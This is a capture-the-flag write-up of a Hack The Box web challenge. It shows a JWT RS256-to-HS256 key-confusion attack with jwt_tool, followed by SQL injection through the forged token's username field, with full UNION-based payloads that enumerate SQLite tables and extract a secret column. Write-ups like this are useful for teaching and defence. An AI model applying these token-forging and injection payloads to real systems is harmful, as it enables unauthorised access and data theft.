Hack The Box: Beginner Track - Under Construction


This is the sixth piece of the Beginner’s Track: A challenge from the category “Web”.


Under Construction

Downloading the file, we find a zip folder which contains the source code of a python web server. It contains the expected files such as routes.js and index.js, as well as helper functions for creating JWT tokens and fetching data from the database. Visiting the URL specified in the challenge, we find a simple website that requires login. Unfortunately the source code did not come with any database file, so we do not know what users exist on the platform.

chall construction

Let’s check out the source code. In routes.js, we find something interesting about the authentication route:

router.post('/auth', async (req, res) => {
    const { username, password } = req.body;
    if((username !== undefined && username.trim().length === 0)
        || (password !== undefined && password.trim().length === 0)){
        return res.redirect('/auth');
    }
    if(req.body.register !== undefined){
        let canRegister = await DBHelper.checkUser(username);
        if(!canRegister){
            return res.redirect('/auth?error=Username already exists');
        }
        DBHelper.createUser(username, password);
        return res.redirect('/auth?error=Registered successfully&type=success');
    }

The /auth route accepts both a GET and a POST request. The POST request takes two parameters, username and password, as well as an optional parameter “register”. If register is not empty, it will create a new user with the given credentials, or inform us that the user already exists. So let’s try that using BURP:

chall construction

By adding register=true, we can add a new user, in our case “admin”. This shows two things:

  • The user “admin” did not exist yet
  • We can now log in with this username.

Note: You could have also just clicked the “register” button. I missed that at first.

This is the response from the webserver:

<p>Found. Redirecting to <a href="/auth?error=Registered%20successfully&amp;type=success">/auth?error=Registered%20successfully&amp;type=success</a></p>

And we get re-directed to a page with a simple note: “This site is under construction”.

chall construction

Before moving on, we can try to find some more legitimate users on the page, for example standard accounts such as “developer” or “user”. If the user already exists, the registering form should inform us in their response message. We can create a user “developer”, but the username “user” is already gone.


JWT Token

Since logging in did not reveal much new information, let’s investigate what else we can find. Our admin user receives a long cookie after logging in:

Cookie: session=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGsiOiItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE5NW9UbTlETnpjSHI4Z0xoalphWVxua3RzYmoxS3h4VU9vencwdHJQOTNCZ0lwWHY2V2lwUVJCNWxxb2ZQbFU2RkI5OUpjNVFaMDQ1OXQ3M2dnVkRRaVxuWHVDTUkyaG9VZkoxVm1qTmVXQ3JTckRVaG9rSUZaRXVDdW1laHd3dFVOdUV2MGV6QzU0WlRkRUM1WVNUQU96Z1xuaklXYWxzSGovZ2E1WkVEeDNFeHQwTWg1QUV3YkFENzMrcVhTL3VDdmhmYWpncHpIR2Q5T2dOUVU2MExNZjJtSFxuK0Z5bk5zak5Od281blJlN3RSMTJXYjJZT0N4dzJ2ZGFtTzFuMWtmL1NNeXBTS0t2T2dqNXkwTEdpVTNqZVhNeFxuVjhXUytZaVlDVTVPQkFtVGN6Mncya3pCaFpGbEg2Uks0bXF1ZXhKSHJhMjNJR3Y1VUo1R1ZQRVhwZENxSzNUclxuMHdJREFRQUJcbi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLVxuIiwiaWF0IjoxNjY3Mjk2NTc4fQ.GHpdD9AU9ERvyeTDyUluXYKmfQHO_harjFebSypdBCai_G5JE5IpYEFOiq9AgFZYOBAXBe4x-_9yvGNe_8Tzeo8uErsDse-di8c3lrSR9kxsoEou35_txuHU-0AbogMhrnhG08qH7MaMGi2JYZQ0CFvFegHPqxBu0XdUrb-wyXRJyatBmbUVFpGYcWZdeIFk8SrGPKavYA3PrzzIKFkunONOHkO2r0M8aG7VnQWnD9Ery89rFEUgw9trNq_maZrECnjsKapDKpl7J1K2lf0qwQWrIh_DGkDfi0GiwJY-hrdo4Zt8noELB_PH-Cd1qYe6WrIcrpRXnmHldd5P8UjMAg

This is a JWT Token which can be decomposed with help of websites such as jwt.io:

chall construction

We find that the key is created with the “RS256” algorithm, which requires a private and a public key. The public key is contained in the “data” payload. Let’s extract it:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY
ktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi
XuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg
jIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH
+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx
V8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr
0wIDAQAB
-----END PUBLIC KEY-----

Note: Make sure to replace all newlines, otherwise it does not work obviously.

Checking the source code of the JWT helper function, we find that the token verification function accepts both the HS256 and the RS256 token.

async decode(token) {
   return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
}

So it could be worth a try to attack the token with a HS256 conversion attack. For this purpose, we can use the jwt-tool Webkit. This checks if the exploit is possible:

python3 jwt_tool.py <<JWT_TOKEN>> -X k -pk <<PUBKEY.PEM>>

and this is the reply we get:

Original JWT: 

File loaded: pkey.pem
jwttool_c5c9d2b5ae4db398d85d6daa1d05bd94 - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJwayI6Ii0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXG5NSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTk1b1RtOUROemNIcjhnTGhqWmFZXG5rdHNiajFLeHhVT296dzB0clA5M0JnSXBYdjZXaXBRUkI1bHFvZlBsVTZGQjk5SmM1UVowNDU5dDczZ2dWRFFpXG5YdUNNSTJob1VmSjFWbWpOZVdDclNyRFVob2tJRlpFdUN1bWVod3d0VU51RXYwZXpDNTRaVGRFQzVZU1RBT3pnXG5qSVdhbHNIai9nYTVaRUR4M0V4dDBNaDVBRXdiQUQ3MytxWFMvdUN2aGZhamdwekhHZDlPZ05RVTYwTE1mMm1IXG4rRnluTnNqTk53bzVuUmU3dFIxMldiMllPQ3h3MnZkYW1PMW4xa2YvU015cFNLS3ZPZ2o1eTBMR2lVM2plWE14XG5WOFdTK1lpWUNVNU9CQW1UY3oydzJrekJoWkZsSDZSSzRtcXVleEpIcmEyM0lHdjVVSjVHVlBFWHBkQ3FLM1RyXG4wd0lEQVFBQlxuLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tXG4iLCJpYXQiOjE2NjcyNTA5NDh9.D-aPCutcNPqxb2lMuPteffpJOl4OPkDT0RBTf_iTEZY

And with this token, we can log in with our own crafted token as user “user”, but it doesn’t reveal any new information. So let’s check what else we have.


SQL Injection

Besides the JWT function, there is also a helper function for handling the SQL requests. Checking the source code, it smells a lot like SQL injection, as the user input is directly passed onto the function in getUser(username):

    getUser(username){
        return new Promise((res, rej) => {
            db.get(`SELECT * FROM users WHERE username = '${username}'`, (err, data) => {
                if (err) return rej(err);
                res(data);
            });
        });
    },

getUser gets called in the auth function that is checking if the user is legitimately logged in:

router.get('/', AuthMiddleware, async (req, res, next) => {
    try{
        let user = await DBHelper.getUser(req.data.username);
        if (user === undefined) {
            return res.send(`user ${req.data.username} doesn't exist in our database.`);
        }
        return res.render('index.html', { user });
    }catch (err){
        return next(err);
    }
});

So probably we could injection something in req.data.username. The value comes from the token decomposition in AuthMiddleware.js:

let data = await JWTHelper.decode(req.cookies.session);
req.data = {
   username: data.username
}

So what we need to do is we need to craft a username and close it with a single quote ', after that we can inject an arbitrary sql command and end it with the inline comment --. Then the query would look like this:

`SELECT * FROM users WHERE username = 'test' order by 4;--'`

The corresponding command for jwt_tool is:

$ python3 /opt/jwt_tool/jwt_tool.py <token> -S hs256 -k pkey.pem -T -I -pc username -pv "test' order by 4;--"

And the server response:

<pre>Error: SQLITE_ERROR: 1st ORDER BY term out of range - should be between 1 and 3</pre>

So - it worked! Apparently the table “users” has only 3 columns: probably id, name and password. To confirm this, we can UNION select the numbers 1, 2, 3 and see which one gets printed.

$ ... -I -pc username -pv "test' union select 1, 2,3 FROM users;--"

Response:

<div class="card-body">
   Welcome 2<br>
   This site is under development. <br>
   Please come back later.
</div>

This shows that the second column gets printed. Next, we can inject the table names into this field by this payload:

$ -I -pc username -pv "user' union select 1, group_concat(tbl_name) ,3 FROM sqlite_master;--"

which returns:

Welcome flag_storage,sqlite_sequence,users<br>

Now let’s try to enumerate the talbe flag_storage:

$ "user' union select 1, sql ,3 FROM sqlite_master where tbl_name='flag_storage';--"

returns

Welcome CREATE TABLE &quot;flag_storage&quot; ( &quot;id&quot;	INTEGER PRIMARY KEY AUTOINCREMENT, &quot;top_secret_flaag&quot;	TEXT

So there is a column called top_secret_flaag, and with this payload:

$ -I -pc username -pv "user' union select 1, top_secret_flaag ,3 FROM flag_storage;--"

we get the flag.